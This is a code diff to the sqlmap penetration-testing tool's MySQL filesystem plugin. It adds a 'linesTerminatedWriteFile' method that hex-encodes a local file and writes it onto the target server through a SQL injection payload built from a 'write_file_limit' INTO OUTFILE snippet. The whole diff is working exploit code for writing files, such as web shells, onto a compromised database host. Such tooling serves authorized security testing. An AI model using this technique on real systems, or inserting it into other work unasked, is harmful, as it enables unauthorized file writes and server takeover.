Implementation for an Issue #647

plugins/dbms/mysql/filesystem.py

@@ -5,6 +5,8 @@ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
+from lib.core.agent import agent
+from lib.core.common import getSQLSnippet
 from lib.core.common import isNumPosStrValue
 from lib.core.common import isTechniqueAvailable
 from lib.core.common import popValue
@@ -16,11 +18,13 @@ from lib.core.data import kb
 from lib.core.data import logger
 from lib.core.decorators import stackedmethod
 from lib.core.enums import CHARSET_TYPE
+from lib.core.enums import DBMS
 from lib.core.enums import EXPECTED
 from lib.core.enums import PAYLOAD
 from lib.core.enums import PLACE
 from lib.core.exception import SqlmapNoneDataException
 from lib.request import inject
+from lib.request.connect import Connect as Request
 from lib.techniques.union.use import unionUse
 from plugins.generic.filesystem import Filesystem as GenericFilesystem
 
@@ -112,6 +116,34 @@ class Filesystem(GenericFilesystem):
 
         return self.askCheckWrittenFile(wFile, dFile, forceCheck)
 
+    def linesTerminatedWriteFile(self, wFile, dFile, fileType, forceCheck=False):
+        logger.debug("encoding file to its hexadecimal string value")
+
+        fcEncodedList = self.fileEncode(wFile, "hex", True)
+        fcEncodedStr = fcEncodedList[0][2:]
+        fcEncodedStrLen = len(fcEncodedStr)
+
+        if kb.injection.place == PLACE.GET and fcEncodedStrLen > 8000:
+            warnMsg = "the injection is on a GET parameter and the file "
+            warnMsg += "to be written hexadecimal value is %d " % fcEncodedStrLen
+            warnMsg += "bytes, this might cause errors in the file "
+            warnMsg += "writing process"
+            logger.warn(warnMsg)
+
+        debugMsg = "exporting the %s file content to file '%s'" % (fileType, dFile)
+        logger.debug(debugMsg)
+
+        query = getSQLSnippet(DBMS.MYSQL, "write_file_limit", OUTFILE=dFile, HEXSTRING=fcEncodedStr)
+        query = agent.prefixQuery(query)        # Note: No need for suffix as 'write_file_limit' already ends with comment (required)
+        payload = agent.payload(newValue=query)
+        page = Request.queryPage(payload)
+
+        warnMsg = "expect junk characters inside the "
+        warnMsg += "file as a leftover from original query"
+        singleTimeWarnMessage(warnMsg)
+
+        return self.askCheckWrittenFile(wFile, dFile, forceCheck)
+
     def stackedWriteFile(self, wFile, dFile, fileType, forceCheck=False):
         debugMsg = "creating a support table to write the hexadecimal "
         debugMsg += "encoded file to"